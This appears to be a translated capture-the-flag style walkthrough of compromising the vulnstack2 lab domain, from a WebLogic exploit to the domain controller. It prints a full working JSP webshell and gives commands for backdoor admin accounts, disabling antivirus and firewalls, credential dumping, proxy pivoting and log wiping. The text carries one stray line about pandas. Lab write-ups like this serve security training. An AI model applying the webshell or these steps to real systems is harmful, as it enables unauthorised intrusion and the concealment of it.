[Red Sun Shooting Range] vulnstack2-complete penetration process

Article directory

  • 1. Network topology
  • 2. Description
  • Configuration Environment
  • penetration begins
    • collect message
    • start attacking
    • Kill the software
    • CS is online
      • Privilege escalation
    • Intranet detection
    • Lateral movement
    • landscape again
    • rdp connection
    • trace removal
  • Summarize:

1. Network topology

Example: pandas is a tool based on NumPy, which is designed to solve data analysis tasks And created.
Network Configuration:

2. Description

The Red Team Combat Series mainly uses real enterprise environments as examples to build a series of shooting ranges and learn through exercises, video tutorials, and blogs. This red team environment mainly uses Access Token exploitation, WMI exploitation, domain vulnerability exploitation, SMB relay, EWS relay, PTT (PTC), MS14-068, GPP, SPN exploitation, gold bill/silver bill/Sid History/MOF and other attack and defense technologies. About the unified login password for the shooting range: 1qaz@WSX

  1. Bypass UAC
  2. Windows system NTLM acquisition (theoretical knowledge: Windows certification)
  3. Access Token application (MSSQL application)
  4. WMI utilization
  5. Web proxy, layer 2 proxy, special protocol proxy (DNS, ICMP)
  6. In-domain information collection
  7. Domain vulnerability exploitation: SMB relay, EWS relay, PTT (PTC), MS14-068, GPP, SPN exploitation
  8. Domain credential collection
  9. Backdoor technology (gold note/silver note/Sid History/MOF)
  • Environmental Statement
    Intranet segment: 10.10.10.1/24
    DMZ network segment: 192.168.111.1/24
    Test machine address: 192.168.111.1 (Windows), 192.168.111.11 (Linux)
    Firewall policy (after the policy is set, the test machine can only access 192 addresses, simulating public network access):
deny all tcp ports: 10.10.10.1
allow all tcp ports: 10.10.10.0/24
  • Configuration information
    DC
    IP: 10.10.10.10OS: Windows 2012(64)
    Application: AD domain
    WEB:
    IP1: 10.10.10.80 IP2: 192.168.111.80OS: Windows 2008(64)
    Application: Weblogic 10.3.6 MSSQL 2008
    PC:
    IP1: 10.10.10.111 IP2: 192.168.111.201 OS: Windows 7(32)
    Attack aircraft:
    IP: 192.168.111.1 OS: Windows 11(64)
    IP: 192.168.111.128 OS: kaliLinux(64)

Configuration environment

Log in to the web host using de1ay user login password is 1qaz@WSX

The gateway address here is 1, which is the address of the host, so there is no external network here. If you want to change the external network to 2, it will be fine. If you want to use the internal network here, I will not change it.


Start weblogic: C:\Oracle\Middleware\user_projects\domains\base_domain
Use the administrator to enter administrator/1qaz@WSX

Enter your account and password again to start:


The internal network card is disabled by the firewall and segment 10 cannot be accessed from the external network:

Infiltration begins

Information collection

Target: 192.168.111.80 is the attack target as the boundary of the web
Main services: web, sql server, rdp, weblogic and smb

There are multiple vulnerabilities:

Start attack

Start playing directly:

Execute command: tasklist /svc

Antivirus software exists: 360

Will it kill you if you try to upload the shell? Do a normal anti-kill test first.
First get the path:


It seems to have been killed: I changed the tool and continued uploading.

Successfully uploaded the Ice Scorpion Horse:

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super( c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST") ){String k="e45e329feb5d925b";/*This key is the first 16 digits of the 32-bit md5 value of the connection password. The default connection password is rebel*/session.putValue("u",k);Cipher c= Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g( c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

/This key is the first 16 digits of the 32-bit md5 value of the connection password. The default connection password is rebel/


Successfully got the shell:

Find the location:

Inject memory horse into stable shell:

Information collection: multiple network cards exist

Determine if a domain environment exists:

If 360 is detected above, we need to find a way to kill him.

Kill anti-virus software

1. Go up to 3389 and close it directly. You need to create an administrator user.
2. Elevate privileges to system shutdown
3. Avoid killing C2
Create user:

net user julien 1qaz@WSX /add
net localgroup Administrators julien /add


The connection is reporting an error:

Log in as the administrator user and change the password directly if you don’t know the password:

net user Administrator 1qaz@WSX


Log in

Uninstall directly


Turn off the firewall and do whatever you want! !

cs online

Online cs horse:
Generate horse upload and run


Capture clear text passwords:



mssql also has a weak password and the username and password in the domain

Elevated privileges

Use ms14-058 to escalate privileges

Get system permissions:

Internal network detection

cs cannot detect

Try using fscan:
See 10.10.10.10

Online msf:

Upload run:

Do socks 4:

kali connection socks

192.168.111.201 detected:

cs arp detection:

192.168.111.2 and 128 are my hosts and kali omitted: smb online try horizontal

Lateral movement

Use smb beacon to go online:

Successfully launched:

Check if there is any anti-virus software:


And 360 more:

Youkai 3389: grab the password to log in to rdp

Check the administrator user:


Tried administrator and mssql login 3389: (failed)


Detect other hosts directly:

10.10.10.10 was detected earlier, so try it directly here:

Moving laterally again:

Horizontal again

Get permission:

rdp connection

Modify Administrator login 3389:


Laughing to death

Create user to continue:


Note that there will be a pop-up window like this:
Here is what I have logged in

After all the hard work, I finally got it and went to kill the software.


Turn off the firewall:

Go get 10 hosts again:
Also opened 3389

Here, because 10 hosts are on the internal network, the hosts cannot be connected directly and need to be connected through socks:
First check if there is any anti-virus software:

No:

Here use the command to turn off the firewall:

Because our host cannot directly access 10.10.10.10 (It is actually possible but pretends not to be possible) do socks5:

Shell tool connection uses proxy:

Then grab the account and password:

Why are they all empty and there is no password:
Create users directly and join groups:
net user julien 1qaz@WSX /add
net localgroup administrators julien /add


Direct shell tool connection:

The agent uses the above:

The proxy seems to be failing here:

Then just use kali’s rdp directly.

proxychains rdesktop -g 1440×900 -r disk:LinuxDisk=/root/Downloads -u julien -p “1qaz@WSX” 10.10.10.10:3389

Kali connection failed:


Try to find the problem on cs:
View port:

Check it with nmap:

If there is no problem, try connecting again:
Directly use the host that has been obtained to connect: Here, the 10 domain controllers connected to the windows 7 above are successfully obtained:

Passed successfully.

Trace removal

Don’t forget to delete multiple logs, especially weblogic logs. Users can be created using hidden methods. Creating shadow accounts will be used later and will not be shown here. Trace removal means returning to the original path. There are many tools you can use. Find it yourself. I won’t leave it here!

Summary:

Penetration testing can be carried out in many ways. This is just my favorite method. The intranet can also capture hashes and other uses, which will be used in the subsequent Red Sun Shooting Range series.